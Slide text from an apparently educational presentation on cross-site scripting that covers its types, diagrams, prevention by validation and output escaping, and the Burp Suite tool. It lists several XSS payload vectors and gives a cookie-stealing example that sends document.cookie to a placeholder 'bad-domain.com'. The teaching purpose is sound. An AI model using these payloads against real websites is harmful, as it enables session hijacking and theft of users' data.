Introduction to Cross Site Scripting ( XSS )

Cross Site Scripting
(XSS)
by Irfad Imtiaz

What is XSS
Cross Site Scripting
XSS is a vulnerability which when present in
websites or web applications, allows malicious
users (Hackers) to insert their client side
code (normally JavaScript) in those web
pages. When this malicious code along with
the original webpage gets displayed in the
web client (browsers like IE, Mozilla etc),
allows Hackers to gain greater access of

XSS (-ve) effects
● stealing other user’s cookies
● stealing their private information
● performing actions on behalf of
other users
● redirecting to other websites
● Showing ads in hidden IFRAMES
and pop-ups

How XSS works
Web server gets data from web client
(POST, GET, COOKIES etc) with the
request. So a malicious User can
include client side code snippets
(JavaScript) into the data. For example :

Amit<script>alert (‘this site
has been hacked’) ;</script>

XSS input
Note: This image has been created using Firebug and this XSS hole is not present in
google.com

XSS contd.
● Let’s assume Web server performs no
validation or filtration on this data.
● Now web server either saves this data +
XSS code to some persistent storage
(like database) or print this data back in
the HTML.
● When this XSS code, comes from server
along with HTML into the web client

XSS
Server
Hacker’s
Browser
http request
with XSS
JavaScript
Hacker’s
Browser
http response with
XSS JavaScript

XSS output
google.com

XSS vectors
● <SCRIPT SRC=http://ha.ckers.org/xss.
js></SCRIPT>
● <IMG SRC=javascript:alert('XSS')>
● <IMG SRC=javascript:alert("XSS")>
● <IMG SRC=`javascript:alert("RSnake says,
'XSS'")`>
● <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
● <IMG SRC=javascript:alert(String.
fromCharCode(88,83,83))>
● <IMG SRC=javasc
ript:al
ert('XSS
')>

Type of XSS attacks
● Non-persistent
● Persistent
● DOM Based

Non-persistent
When XSS code only gets displayed in the next page
to the same user and not gets saved into persistent
storage like database. This type of attack is less
vulnerable, because Hacker can see only their own
cookies and can make modifications in their own
current opened pages. The risk with these kinds of
XSS holes is that it opens way for Cross Site
Request Forgery CSRF. CSRF allows a hacker to
place some links
Example : same as given previously to explain XSS

CSRF
Cross-site request forgery
is a type of malicious exploit of a website whereby unauthorized
commands are transmitted from a user that the website trusts.
This can be done by placing some hidden links in some bad
website.
for example :
<img src="http://bank.example/withdraw?
account=bob<script>document.location=‘http://bad-domain.
com/store_data?cookie=‘ + document.cookie;</script>

CSRF
Bank Server
http response with CSRF
Link
Bad Server 1
Normal User’s
Browser
<img src="http://bank.
example/withdraw?
account=bob<script>d
ocument.location=
‘http://bad-domain.
com/store_data?
cookie=‘ + document.
cookie;</script>
Normal User’s
Browser
Bad Server 2
http response
with XSS
http request with
cookies
http request
with XSS

Persistent XSS
In persistent type of XSS attack, XSS code gets saved into
persistent storage like database with other data and then
it is visible to other users also. One example of this kind of
attacks is possible blog websites, where hacker can add their
XSS code along with the comment text and if no validation or
filtering is present on the server, XSS code can successfully
saved into the database. After this if anyone (other users)
open the page into their browsers, XSS code can execute and
can perform a variety of harmful actions. This type of attack is
more vulnerable, because Hacker can steal cookies and can
make modifications in the page. The risk with these kinds of
attacks is any third party hacker can use this vulnerability to
perform some actions on behalf of other users.

Persistent XSS – Step 1
Server
Hacker’s
Browser
http request
with XSS
JavaScript
Server saves XSS
code to DB
DB
Step 1

Persistent XSS – Step 2
Server
Hacker
Browser
http request
with XSS
JavaScript
Normal User
Browser
http response with
XSS JavaScript
DB
Step 2
Server saves XSS
code to DB

Persistent XSS
blogger.com

DOM based attack
DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack
payload is executed as a result of modifying the DOM “environment” in the
victim’s browser used by the original client side script, so that the client
side code runs in an “unexpected” manner. That is, the page itself (the
HTTP response that is) does not change, but the client side code
contained in the page executes differently due to the malicious
modifications that have occurred in the DOM environment.

This is in contrast to other XSS attacks (stored or reflected), wherein the
attack payload is placed in the response page (due to a server side flaw).

Example
…
var pos = document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.
length));

Prevention
Never trust the
user input data
No matter where it’s coming from (
GET, POST, COOKIE etc.

Validation at client side
By performing client side (JavaScript) validation, before
submitting the data to server, helps only in usability aspect of the
website. It can’t provide any actual security, because user
can disable the JavaScript. Many JavaScript libraries and
frameworks are available for this.
For example in DOJO framework

<label for="firstName">First Name: </label>
<input type="text" id="firstName" name="firstName"
dojoType="dijit.form.ValidationTextBox"
required="true"
propercase="true"
promptMessage="Enter first name."
invalidMessage="First name is required."
trim="true”/><br>

Validation at server
By sanitizing the input data, we can
prevent the malicious code to enter in the
system.
Checking the proper data types helps in
cleaning the data. First of all we should
restrict numeric data for numeric fields and
only alphanumeric characters for text fields

White lists – Allow <strong>, <em> and

Escaping output at server
Problem characters can include < > " ‘ &.These
characters can be replaced with HTML character
entities.
For example, < can be replaced with <.

5 Rules for escaping output
#1 - HTML Escape before inserting into element
content
#2 - Attribute Escape before inserting into
attributes

Escaping text before updating DOM at
client side
To avoid DOM based XSS attacks.

Web vulnerability scanner
Applications
These applications provide the developer
to test their web applications for
various types of vulnerabilities.
These applications allow navigating
through the web sites or web
applications and performing various
types of attacks (manual or automated).
Both free and commercial applications

Burp suite
● Burp suite allows an attacker to combine
manual and automated techniques to
enumerate, analyze, attack and exploit web
applications. The various burp tools work
together effectively to share information
and allow findings identified within one tool
to form the basis of an attack using
another.
● Download: http://portswigger.

Burp Tools
Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle
between the end browser and the target web application, allowing you to intercept,
inspect and modify the raw traffic passing in both directions.
Spider - an intelligent application-aware web spider which allows complete enumeration
of an application's content and functionality.
Scanner [Pro version only] - an advanced tool for performing automated discovery of
security vulnerabilities in web applications.
Intruder - a highly configurable tool for automating customized attacks against web
applications, such as enumerating identifiers, harvesting useful data, and fuzzing for
common vulnerabilities.
Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and
analyzing the application's responses.
Sequencer - a tool for analyzing the quality of randomness in an application's session

How to use
● Run the application and set the browser
proxy to localhost: 8080
● Open any site and Burp will create a
sitemap tree in the left panel, as per the site
traversal.
● Select any URL from the tree and add it to
intruder.
● Add different type of payloads for attack, i.
e.

Refrences
● http://en.wikipedia.org
● http://ha.ckers.org/xss.html
● http://portswigger.net

Stay Tuned
Stay Connected:
● Twitter.com/irfadimtiaz
● Facebook.com/irfadimtiaz
● slideshare.net/irfadimtiaz
● http://www.irfadimtiaz.com

Introduction to Cross Site Scripting ( XSS )

More Related Content

What's hot (20)

Viewers also liked (20)

Similar to Introduction to Cross Site Scripting ( XSS ) (20)

Recently uploaded (20)

Introduction to Cross Site Scripting ( XSS )